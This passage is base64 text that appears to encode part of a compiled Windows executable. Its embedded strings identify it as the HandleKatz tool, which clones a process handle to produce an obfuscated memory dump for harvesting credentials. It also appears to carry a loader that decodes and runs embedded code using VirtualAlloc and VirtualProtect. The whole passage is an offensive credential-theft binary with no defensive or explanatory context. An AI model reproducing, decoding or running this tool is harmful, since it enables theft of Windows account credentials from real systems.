cpraUR1eWdCQUFBQWRCeElnN3N3QVFBQUFIUVNNY0JJZ3pzQUQ1WEE2d2tQSDRBQUFBQUFNY0JJZzhRZ1c4TzYxdHljNUxtSUp2Z0E2Q0h4Ly85SWc3c1lBUUFBQUVpSmd4QUJBQUFQaGRuOS8vOFBIMEFBdXJWRTliZTVpQ2I0QU9qNThQLy9TSU83SUFFQUFBQklpWU1ZQVFBQUQ0Vy8vZi8vRHg5QUFMcmFuTTI3dVlnbStBRG8wZkQvLzBpRGUyQUFTSW1ESUFFQUFBK0ZwZjMvL3c4ZmdBQUFBQUM2RGdva3BibUlKdmdBNktudy8vOUlnM3RvQUVpSlEyQVBoWXY5Ly85bUxnOGZoQUFBQUFBQXVpM0hFVis1aUNiNEFPaUI4UC8vU0lPN0NBRUFBQUJJaVVOb0Q0VnUvZi8vRHgrQUFBQUFBTG9rQ2lTbHVZZ20rQURvV2ZELy8waUpnd2dCQUFEcFRQMy8vNUNRa0pDUWtKQ1FrSkNRa0pCQlZMb29BQUFBUlRIa1ZsTklpY3RJeDhILy8vLy9TSVBzY0VqSFJDUTRBQUFBQUV5TlJDUTRTTWRFSkVBQUFBQUFTTWRFSkVnQUFBQUE2RW5MLy8rRndIVldNY25IUkNSQUFRQUFBRWk2Y21sMmFXeGxaMlZJdUZObFJHVmlkV2RRU0lsVUpGaElqWFFrUUVpTlZDUlF4MFFrVEFJQUFBQk1qVVFrUkVpSlJDUlF4a1FrWUFEL2t6QUJBQUNGd0hVWFNJdE1KRGovVXloSWc4UndSSW5nVzE1QlhNTVBId0JJaTB3a09FRzVFQUFBQUVtSjhESFNTTWRFSkNnQUFBQUFTTWRFSkNBQUFBQUE2Q0hGLy85SWkwd2tPSVhBZFJqL1V5aEJ2QUVBQUFCSWc4UndSSW5nVzE1QlhNTVBId0QvVXloSWc4UndSSW5nVzE1QlhNT1F1QUVBQUFERGtKQ1FrSkNRa0pDUWtQLy8vLy8vLy8vL0FBQUFBQUFBQUFELy8vLy8vLy8vL3dBQUFBQUFBQUFBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwf0AAAAAAAAAAAAAAAAAA//////////8AAAAAAAAAAP8AAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEARQAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQQAAAAAAAkBlAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4BlAAAAAAACwGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA